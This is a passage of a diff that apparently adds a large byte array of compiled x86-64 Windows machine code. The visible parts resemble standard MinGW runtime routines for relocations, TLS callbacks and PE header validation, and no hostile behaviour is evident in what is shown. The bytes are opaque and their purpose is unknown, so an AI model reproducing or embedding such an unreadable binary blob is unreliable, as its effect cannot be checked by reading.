0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, + 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x48, 0x8b, 0x50, 0x18, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x40, + 0x08, 0x89, 0xc1, 0x48, 0x8d, 0x05, 0xb6, 0x27, 0x00, 0x00, 0x49, 0x89, 0xd0, 0x89, 0xca, 0x48, + 0x89, 0xc1, 0xe8, 0xc9, 0xfd, 0xff, 0xff, 0x8b, 0x45, 0xe4, 0x83, 0xf8, 0x40, 0x0f, 0x84, 0xe8, + 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x83, 0xf8, 0x04, 0x0f, 0x84, 0xdc, 0x00, 0x00, 0x00, 0x8b, + 0x45, 0xe4, 0x3d, 0x80, 0x00, 0x00, 0x00, 0x0f, 0x84, 0xce, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, + 0x83, 0xf8, 0x08, 0x0f, 0x84, 0xc2, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x83, 0xf8, 0x02, 0x75, + 0x09, 0xc7, 0x45, 0xf8, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x07, 0xc7, 0x45, 0xf8, 0x40, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x0d, 0x38, 0x67, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, + 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x8d, 0x14, 0x01, + 0x48, 0x8b, 0x45, 0xc0, 0x48, 0x89, 0x42, 0x08, 0x48, 0x8b, 0x0d, 0x11, 0x67, 0x00, 0x00, 0x8b, + 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, + 0xc1, 0xe0, 0x03, 0x48, 0x8d, 0x14, 0x01, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x89, 0x42, 0x10, 0x48, + 0x8b, 0x0d, 0xea, 0x66, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, + 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x49, 0x89, 0xc0, + 0x48, 0x8b, 0x55, 0xd8, 0x48, 0x8b, 0x45, 0xc0, 0x8b, 0x4d, 0xf8, 0x4d, 0x89, 0xc1, 0x41, 0x89, + 0xc8, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, 0xf5, 0x88, 0x00, 0x00, 0xff, 0xd0, 0x85, 0xc0, 0x75, + 0x1a, 0x48, 0x8b, 0x05, 0x70, 0x88, 0x00, 0x00, 0xff, 0xd0, 0x89, 0xc2, 0x48, 0x8d, 0x05, 0xf5, + 0x26, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xd5, 0xfc, 0xff, 0xff, 0x8b, 0x05, 0x97, 0x66, 0x00, + 0x00, 0x83, 0xc0, 0x01, 0x89, 0x05, 0x8e, 0x66, 0x00, 0x00, 0xeb, 0x01, 0x90, 0x48, 0x83, 0xc4, + 0x60, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0xc7, 0x45, 0xfc, 0x00, 0x00, + 0x00, 0x00, 0xe9, 0xad, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0x62, 0x66, 0x00, 0x00, 0x8b, 0x45, + 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, + 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x8b, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x0d, 0x3a, 0x66, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, + 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x44, 0x8b, 0x10, + 0x48, 0x8b, 0x0d, 0x19, 0x66, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, + 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x48, 0x8b, + 0x48, 0x10, 0x4c, 0x8b, 0x05, 0xf7, 0x65, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, + 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x4c, 0x01, 0xc0, + 0x48, 0x8b, 0x40, 0x08, 0x48, 0x8d, 0x55, 0xf8, 0x49, 0x89, 0xd1, 0x45, 0x89, 0xd0, 0x48, 0x89, + 0xca, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, 0x05, 0x88, 0x00, 0x00, 0xff, 0xd0, 0xeb, 0x01, 0x90, + 0x83, 0x45, 0xfc, 0x01, 0x8b, 0x05, 0xbe, 0x65, 0x00, 0x00, 0x39, 0x45, 0xfc, 0x0f, 0x8c, 0x44, + 0xff, 0xff, 0xff, 0x90, 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x89, 0x55, 0x18, 0x4c, 0x89, 0x45, 0x20, 0x48, + 0x83, 0x7d, 0x20, 0x00, 0x74, 0x25, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x89, 0xc1, 0xe8, 0x23, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x20, 0x48, 0x8b, 0x55, 0x18, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, + 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0x07, 0x0e, 0x00, 0x00, 0xeb, 0x01, 0x90, 0x48, 0x83, 0xc4, 0x20, + 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xc4, 0x80, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x89, + 0x55, 0x18, 0x4c, 0x89, 0x45, 0x20, 0x48, 0x8b, 0x45, 0x18, 0x48, 0x2b, 0x45, 0x10, 0x48, 0x89, + 0x45, 0xe0, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x83, 0x7d, 0xe0, 0x07, 0x0f, + 0x8e, 0x44, 0x03, 0x00, 0x00, 0x48, 0x83, 0x7d, 0xe0, 0x0b, 0x7e, 0x25, 0x48, 0x8b, 0x45, 0xf8, + 0x8b, 0x00, 0x85, 0xc0, 0x75, 0x1b, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x04, 0x85, 0xc0, 0x75, + 0x10, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x08, 0x85, 0xc0, 0x75, 0x05, 0x48, 0x83, 0x45, 0xf8, + 0x0c, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x00, 0x85, 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45, 0xf8, 0x8b, + 0x40, 0x04, 0x85, 0xc0, 0x74, 0x59, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0x45, 0xe8, 0xeb, 0x40, + 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x04, 0x89, 0xc2, 0x48, 0x8b, 0x45, 0x20, 0x48, 0x01, 0xd0, + 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xe0, 0x8b, 0x10, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x00, + 0x01, 0xd0, 0x89, 0x45, 0xb4, 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x8d, 0x55, 0xb4, 0x41, 0xb8, 0x04, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x00, 0xff, 0xff, 0xff, 0x48, 0x83, 0x45, 0xe8, 0x08, + 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x3b, 0x45, 0x18, 0x72, 0xb6, 0xe9, 0xab, 0x02, 0x00, 0x00, 0x48, + 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x08, 0x83, 0xf8, 0x01, 0x74, 0x18, 0x48, 0x8b, 0x45, 0xf8, 0x8b, + 0x40, 0x08, 0x89, 0xc2, 0x48, 0x8d, 0x05, 0xf5, 0x24, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xad, + 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x83, 0xc0, 0x0c, 0x48, 0x89, 0x45, 0xf0, 0xe9, + 0x65, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x40, 0x04, 0x89, 0xc2, 0x48, 0x8b, 0x45, + 0x20, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x00, 0x89, 0xc2, + 0x48, 0x8b, 0x45, 0x20, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xd8, 0x48, + 0x8b, 0x00, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x40, 0x08, 0x0f, 0xb6, 0xc0, + 0x83, 0xf8, 0x40, 0x0f, 0x84, 0xb6, 0x00, 0x00, 0x00, 0x83, 0xf8, 0x40, 0x0f, 0x87, 0xba, 0x00, + 0x00, 0x00, 0x83, 0xf8, 0x20, 0x74, 0x77, 0x83, 0xf8, 0x20, 0x0f, 0x87, 0xac, 0x00, 0x00, 0x00, + 0x83, 0xf8, 0x08, 0x74, 0x0a, 0x83, 0xf8, 0x10, 0x74, 0x38, 0xe9, 0x9d, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x45, 0xe0, 0x0f, 0xb6, 0x00, 0x0f, 0xb6, 0xc0, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8b, 0x45, + 0xb8, 0x25, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9d, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x45, 0xb8, 0x48, 0x0d, 0x00, 0xff, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0xe9, 0x8a, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x0f, 0xb7, 0x00, 0x0f, 0xb7, 0xc0, 0x48, 0x89, 0x45, 0xb8, + 0x48, 0x8b, 0x45, 0xb8, 0x25, 0x00, 0x80, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x71, 0x48, 0x8b, + 0x45, 0xb8, 0x48, 0x0d, 0x00, 0x00, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0xeb, 0x61, 0x48, 0x8b, + 0x45, 0xe0, 0x8b, 0x00, 0x89, 0xc0, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8b, 0x45, 0xb8, 0x25, 0x00, + 0x00, 0x00, 0x80, 0x48, 0x85, 0xc0, 0x74, 0x4a, 0x48, 0x8b, 0x45, 0xb8, 0x48, 0xba, 0x00, 0x00, + 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x09, 0xd0, 0x48, 0x89, 0x45, 0xb8, 0xeb, 0x33, 0x48, + 0x8b, 0x45, 0xe0, 0x48, 0x8b, 0x00, 0x48, 0x89, 0x45, 0xb8, 0xeb, 0x27, 0x48, 0xc7, 0x45, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x40, 0x08, 0x0f, 0xb6, 0xc0, 0x48, 0x8d, + 0x0d, 0xf3, 0x23, 0x00, 0x00, 0x89, 0xc2, 0xe8, 0x74, 0xf9, 0xff, 0xff, 0x90, 0xeb, 0x04, 0x90, + 0xeb, 0x01, 0x90, 0x48, 0x8b, 0x4d, 0xb8, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x00, 0x89, 0xc2, 0x48, + 0x8b, 0x45, 0x20, 0x48, 0x01, 0xc2, 0x48, 0x89, 0xc8, 0x48, 0x29, 0xd0, 0x48, 0x89, 0x45, 0xb8, + 0x48, 0x8b, 0x55, 0xb8, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xb8, 0x48, + 0x8b, 0x45, 0xf0, 0x8b, 0x40, 0x08, 0x25, 0xff, 0x00, 0x00, 0x00, 0x89, 0x45, 0xd4, 0x83, 0x7d, + 0xd4, 0x3f, 0x77, 0x67, 0x8b, 0x45, 0xd4, 0xba, 0x01, 0x00, 0x00, 0x00, 0x89, 0xc1, 0x48, 0xd3, + 0xe2, 0x48, 0x89, 0xd0, 0x48, 0x83, 0xe8, 0x01, 0x48, 0x89, 0x45, 0xc8, 0x8b, 0x45, 0xd4, 0x83, + 0xe8, 0x01, 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff, 0xff, 0x89, 0xc1, 0x48, 0xd3, 0xe2, 0x48, 0x89, + 0xd0, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xb8, 0x48, 0x39, 0x45, 0xc8, 0x7c, 0x0a, 0x48, + 0x8b, 0x45, 0xb8, 0x48, 0x39, 0x45, 0xc0, 0x7e, 0x22, 0x48, 0x8b, 0x55, 0xb8, 0x4c, 0x8b, 0x4d, + 0xd8, 0x4c, 0x8b, 0x45, 0xe0, 0x8b, 0x45, 0xd4, 0x48, 0x8d, 0x0d, 0x79, 0x23, 0x00, 0x00, 0x48, + 0x89, 0x54, 0x24, 0x20, 0x89, 0xc2, 0xe8, 0xc5, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xf0, 0x8b, + 0x40, 0x08, 0x0f, 0xb6, 0xc0, 0x83, 0xf8, 0x40, 0x74, 0x63, 0x83, 0xf8, 0x40, 0x77, 0x75, 0x83, + 0xf8, 0x20, 0x74, 0x41, 0x83, 0xf8, 0x20, 0x77, 0x6b, 0x83, 0xf8, 0x08, 0x74, 0x07, 0x83, 0xf8, + 0x10, 0x74, 0x1a, 0xeb, 0x5f, 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x8d, 0x55, 0xb8, 0x41, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xa0, 0xfc, 0xff, 0xff, 0xeb, 0x47, 0x48, 0x8b, 0x45, + 0xe0, 0x48, 0x8d, 0x55, 0xb8, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x88, + 0xfc, 0xff, 0xff, 0xeb, 0x2f, 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x8d, 0x55, 0xb8, 0x41, 0xb8, 0x04, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x70, 0xfc, 0xff, 0xff, 0xeb, 0x17, 0x48, 0x8b, 0x45, + 0xe0, 0x48, 0x8d, 0x55, 0xb8, 0x41, 0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x58, + 0xfc, 0xff, 0xff, 0x90, 0x48, 0x83, 0x45, 0xf0, 0x0c, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x3b, 0x45, + 0x18, 0x0f, 0x82, 0x8d, 0xfd, 0xff, 0xff, 0xeb, 0x01, 0x90, 0x48, 0x83, 0xec, 0x80, 0x5d, 0xc3, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x8b, 0x05, 0xde, 0x61, 0x00, 0x00, 0x85, 0xc0, + 0x0f, 0x85, 0x88, 0x00, 0x00, 0x00, 0x8b, 0x05, 0xd0, 0x61, 0x00, 0x00, 0x83, 0xc0, 0x01, 0x89, + 0x05, 0xc7, 0x61, 0x00, 0x00, 0xe8, 0xc1, 0x05, 0x00, 0x00, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, + 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, + 0x03, 0x48, 0x83, 0xc0, 0x0f, 0x48, 0xc1, 0xe8, 0x04, 0x48, 0xc1, 0xe0, 0x04, 0xe8, 0x1e, 0x08, + 0x00, 0x00, 0x48, 0x29, 0xc4, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x83, 0xc0, 0x0f, 0x48, 0xc1, + 0xe8, 0x04, 0x48, 0xc1, 0xe0, 0x04, 0x48, 0x89, 0x05, 0x73, 0x61, 0x00, 0x00, 0xc7, 0x05, 0x71, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xe2, 0x22, 0x00, 0x00, 0x48, 0x8b, + 0x15, 0xeb, 0x22, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xf4, 0x22, 0x00, 0x00, 0x49, 0x89, 0xc8, 0x48, + 0x89, 0xc1, 0xe8, 0xeb, 0xfb, 0xff, 0xff, 0xe8, 0xc7, 0xfa, 0xff, 0xff, 0xeb, 0x01, 0x90, 0x48, + 0x89, 0xec, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x89, 0x4d, 0x10, 0x48, 0x89, 0x55, 0x18, 0x8b, + 0x05, 0x63, 0x61, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x7b, + 0xba, 0x18, 0x00, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xa9, 0x09, 0x00, 0x00, 0x48, + 0x89, 0x45, 0xf8, 0x48, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0x07, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xeb, + 0x5a, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x55, 0x10, 0x89, 0x10, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x8b, + 0x55, 0x18, 0x48, 0x89, 0x50, 0x08, 0x48, 0x8d, 0x05, 0xf3, 0x60, 0x00, 0x00, 0x48, 0x89, 0xc1, + 0x48, 0x8b, 0x05, 0x81, 0x82, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x15, 0x10, 0x61, 0x00, 0x00, + 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0x50, 0x10, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0x05, 0xfd, + 0x60, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xc6, 0x60, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, + 0xa4, 0x82, 0x00, 0x00, 0xff, 0xd0, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, 0x5d, + 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x89, 0x4d, 0x10, 0x8b, 0x05, 0xc6, 0x60, + 0x00, 0x00, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x9c, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x05, 0x89, 0x60, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, 0x17, 0x82, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0xc7, 0x45, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x9e, 0x60, + 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, 0xeb, 0x55, 0x48, 0x8b, 0x45, 0xf0, 0x8b, 0x00, 0x39, 0x45, + 0x10, 0x75, 0x36, 0x48, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0x11, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x8b, + 0x40, 0x10, 0x48, 0x89, 0x05, 0x77, 0x60, 0x00, 0x00, 0xeb, 0x10, 0x48, 0x8b, 0x45, 0xf0, 0x48, + 0x8b, 0x50, 0x10, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0x50, 0x10, 0x48, 0x8b, 0x45, 0xf0, 0x48, + 0x89, 0xc1, 0xe8, 0xb9, 0x08, 0x00, 0x00, 0xeb, 0x1b, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x89, 0x45, + 0xf8, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x83, 0x7d, + 0xf0, 0x00, 0x75, 0xa4, 0x48, 0x8d, 0x05, 0x05, 0x60, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, + 0x05, 0xe3, 0x81, 0x00, 0x00, 0xff, 0xd0, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, + 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x8b, 0x05, 0x08, 0x60, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x84, 0x82, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xd1, 0x5f, 0x00, 0x00, 0x48, + 0x89, 0xc1, 0x48, 0x8b, 0x05, 0x5f, 0x81, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x05, 0xee, 0x5f, + 0x00, 0x00, 0x48, 0x89, 0x45, 0xf8, 0xeb, 0x46, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x00, 0x89, 0xc1, + 0x48, 0x8b, 0x05, 0xc1, 0x81, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x05, + 0x44, 0x81, 0x00, 0x00, 0xff, 0xd0, 0x85, 0xc0, 0x75, 0x18, 0x48, 0x83, 0x7d, 0xf0, 0x00, 0x74, + 0x11, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x8b, 0x50, 0x08, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x89, 0xc1, + 0xff, 0xd2, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x83, + 0x7d, 0xf8, 0x00, 0x75, 0xb3, 0x48, 0x8d, 0x05, 0x64, 0x5f, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, + 0x8b, 0x05, 0x42, 0x81, 0x00, 0x00, 0xff, 0xd0, 0xeb, 0x01, 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, + 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, 0x89, 0x4d, 0x10, 0x89, 0x55, 0x18, + 0x4c, 0x89, 0x45, 0x20, 0x83, 0x7d, 0x18, 0x03, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 0x83, 0x7d, + 0x18, 0x03, 0x0f, 0x87, 0xca, 0x00, 0x00, 0x00, 0x83, 0x7d, 0x18, 0x02, 0x0f, 0x84, 0xb1, 0x00, + 0x00, 0x00, 0x83, 0x7d, 0x18, 0x02, 0x0f, 0x87, 0xb6, 0x00, 0x00, 0x00, 0x83, 0x7d, 0x18, 0x00, + 0x74, 0x33, 0x83, 0x7d, 0x18, 0x01, 0x0f, 0x85, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0x05, 0x26, 0x5f, + 0x00, 0x00, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x05, 0xf3, 0x5e, 0x00, 0x00, 0x48, 0x89, 0xc1, + 0x48, 0x8b, 0x05, 0xc9, 0x80, 0x00, 0x00, 0xff, 0xd0, 0xc7, 0x05, 0x05, 0x5f, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0xeb, 0x7d, 0xe8, 0xe8, 0xfe, 0xff, 0xff, 0x8b, 0x05, 0xf8, 0x5e, 0x00, 0x00, + 0x83, 0xf8, 0x01, 0x75, 0x6c, 0x48, 0x8b, 0x05, 0xf4, 0x5e, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf8, + 0xeb, 0x20, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, + 0x45, 0xf8, 0x48, 0x89, 0xc1, 0xe8, 0x36, 0x07, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x89, + 0x45, 0xf8, 0x48, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0xd9, 0x48, 0xc7, 0x05, 0xbc, 0x5e, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc7, 0x05, 0xaa, 0x5e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x05, 0x7b, 0x5e, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, 0xf9, 0x7f, 0x00, 0x00, 0xff, + 0xd0, 0xeb, 0x0e, 0xe8, 0x18, 0x00, 0x00, 0x00, 0xeb, 0x08, 0xe8, 0x73, 0xfe, 0xff, 0xff, 0xeb, + 0x01, 0x90, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0xdb, 0xe3, 0x90, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x45, 0x10, + 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8b, 0x45, 0xf8, 0x0f, 0xb7, 0x00, 0x66, 0x3d, 0x4d, 0x5a, 0x74, + 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x4e, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x3c, 0x48, + 0x63, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x45, + 0xf0, 0x8b, 0x00, 0x3d, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, + 0x25, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x83, 0xc0, 0x18, 0x48, 0x89, 0x45, 0xe8, 0x48, 0x8b, 0x45, + 0xe8, 0x0f, 0xb7, 0x00, 0x66, 0x3d, 0x0b, 0x02, 0x74, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, + 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, + 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x89, 0x55, 0x18, 0x48, 0x8b, 0x45, 0x10, + 0x8b, 0x40, 0x3c, 0x48, 0x63, 0xd0, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x01, 0xd0, 0x48, 0x89, 0x45, + 0xe8, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe8, 0x0f, 0xb7, 0x40, 0x14, + 0x0f, 0xb7, 0xd0, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x01, 0xd0, 0x48, 0x83, 0xc0, 0x18, 0x48, 0x89, + 0x45, 0xf8, 0xeb, 0x36, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, 0x0c, 0x89, 0xc0, 0x48, 0x39, 0x45, + 0x18, 0x72, 0x1e, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x50, 0x0c, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x40, + 0x08, 0x01, 0xd0, 0x89, 0xc0, 0x48, 0x39, 0x45, 0x18, 0x73, 0x06, 0x48, 0x8b, 0x45, 0xf8, 0xeb, + 0x1e, 0x83, 0x45, 0xf4, 0x01, 0x48, 0x83, 0x45, 0xf8, 0x28, 0x48, 0x8b, 0x45, 0xe8, 0x0f, 0xb7, + 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x39, 0x45, 0xf4, 0x72, 0xba, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x40, 0x48, 0x89, 0x4d, + 0x10, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x89, 0xc1, 0xe8, 0x33, 0x05, 0x00, 0x00, 0x48, 0x83, 0xf8, + 0x08, 0x76, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, + 